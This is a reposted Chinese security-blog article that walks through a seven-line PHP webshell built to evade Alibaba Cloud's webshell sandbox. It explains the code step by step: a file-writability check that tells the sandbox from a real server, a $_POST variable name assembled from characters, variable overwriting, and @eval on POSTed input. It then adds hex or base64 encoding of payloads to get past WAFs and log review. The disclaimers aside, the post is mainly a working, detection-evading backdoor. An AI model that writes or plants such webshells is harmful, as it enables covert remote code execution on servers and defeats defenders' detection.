7行代码让你搞定阿里云webshell沙箱

admin 2026-04-30 04:53:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文介绍了一种绕过阿里云webshell沙箱检测的方法,核心思路是通过环境差异制造变量区分沙箱与真实环境,利用变量覆盖动态构造敏感变量名(如$_POST)并结合eval执行任意代码,实现隐蔽攻击;文中给出7行代码示例并提出通过编码混淆流量提升隐蔽性,建议更新蚁剑工具。 综合评分: 82 文章分类: WEB安全,漏洞分析,安全工具,渗透测试,威胁情报


cover_image

7行代码让你搞定阿里云webshell沙箱

原创

lawliet lawliet

kingman安全

2026年4月28日 22:24 广西

在小说阅读器读本章

去阅读

声明:

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。同时所有相关行为均已取得授权,未经作者同意禁止转载

前言

话不多说,开整。

第一步

这一行就是让阿里云沙箱当场宕机的关键。 不一定非得用 is_writable,换成判断操作系统类型、判断某个目录存不存在之类的函数一样能用,只要能在真实环境和沙箱里跑出不一样的结果,就能把它搞晕。 想深挖的朋友可以去搜一下“阿里云伏魔对抗”,有更多骚操作。

$k = (int)is_writable('index.php');

这里本质上就是借助环境差异制造变量,让沙箱猜不透后面的逻辑。真实服务器上,index.php多半存在,不存在就换一个,都不打紧。

而在阿里云的沙箱里,文件系统是虚拟的或者做了限制,返回值和真实环境不一样。这样一来,$k的取值就成了区分沙箱与真实环境的分水岭,后面一切逻辑都围绕这个取值展开,沙箱觉得没毛病,就放过我们了。

第二步

这一步没什么高深的东西,单纯是为了后面方便从字符串里抠字符,拼出我们想要的 GET 或者 POST。玩过一句话木马的都清楚,最常见的就那个 eval($_GET[‘1’]);,我们现在要做的就是绕过各种特征检测,把 $_POST 这种敏感变量名动态拼出来。

$name="abcdefghijklmnopqrstuvwxyz~!@#$%^&*()[]_-ABCDEFGHIJKLMNOOPQRSTUVWXYZ'";

第三步

这里 $a 拼出来其实就是 _POST,但是在沙箱环境里很多条件都不成立,所以会导致沙箱的误判。最关键的地方在 $dict 这个数组:

$dict = ['0'=>'2','1'=>'_'];$a=$dict[$k].$name[57].$name[55].$name[60].$name[61];

$k 是上面第一步算出来的,沙箱内外取值不同。沙箱里因为没 index.php 或者沙箱自身的限制,is_writable 多半返回 false,强转成整数就是 0,那么 $dict[$k] 取到的是 ‘2’,拼出来的 $a 就变成 ‘2’ 加上后面那些字符,结果并不是 _POST,沙箱自然看不出来你要干嘛。

而真实环境下 $k 极可能为 1(假如 is_writable 返回 true),于是 $dict[$k] 拿到 ‘_’,再跟后面几个字符一拼接,妥妥的就是 _POST,后面变量覆盖一用,直接接入请求数据。

如果把 $dict 里 0 和 1 的值对调,改成 ‘0’=>’_’, ‘1’=>’2’,那在沙箱环境中 $k=0 反而会拼出 _POST,原本人畜无害的代码瞬间就“可疑”了——沙箱一看,好家伙你这变量覆盖加 eval,还动态拼出了 $_POST,立马报毒。这就是利用沙箱模拟环境与现实环境的错位来瞒天过海。

第四步

这一段的 foreach 会把 $$a 解析成 $_POST(因为上一步 $a 的值是 ‘_POST’),然后遍历 POST 数组,把每个键值对都注册成当前作用域里的变量。说白了就是变量覆盖,后面你想传什么参数直接用变量名就能拿到,不用再写 $_POST[‘xxx’] 这么明显。

foreach($$a as $k=>$v){$$k=$v;}@eval($c);

这样一来,你随便在 POST 里传个 c=phpinfo();,经过变量覆盖之后,$c 就有了,再配合 @eval($c),轻轻松松执行任意代码。整个过程没有显式出现 $_POST,静态查杀很难从字符串特征上抓到把柄,沙箱也因为在第一步就被绕晕了,根本走不到变量覆盖这一步的正确逻辑,误以为这段代码没有实际危害。

扩展

光这样还不够稳,流量层面也得做做手脚,不然蓝队看日志一眼就能看出你在传什么。可以在 eval 那里套一层编码,比如 eval(hex2bin($c));,传参的时候把 payload 转成十六进制,流量里就看不出原始代码了。类似的还有 base64_decode、异或、字符串反转等等,花式随你玩,别直接用明文,编码器搞复杂点,waf还是有点东西的。

另外,蚁剑的版本也要记得更新,最近爆出的1Click RCE了解一下,别到时候自己被人反打一波 getshell,反向上线说是。

https://github.com/AntSwordProject/antSword/releases

蚁剑地址

就这样,路子已经给了,剩下的自己发挥,eval藏不了,system可以啊

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:kingman安全 lawliet lawliet《7行代码让你搞定阿里云webshell沙箱》

评论:0   参与:  0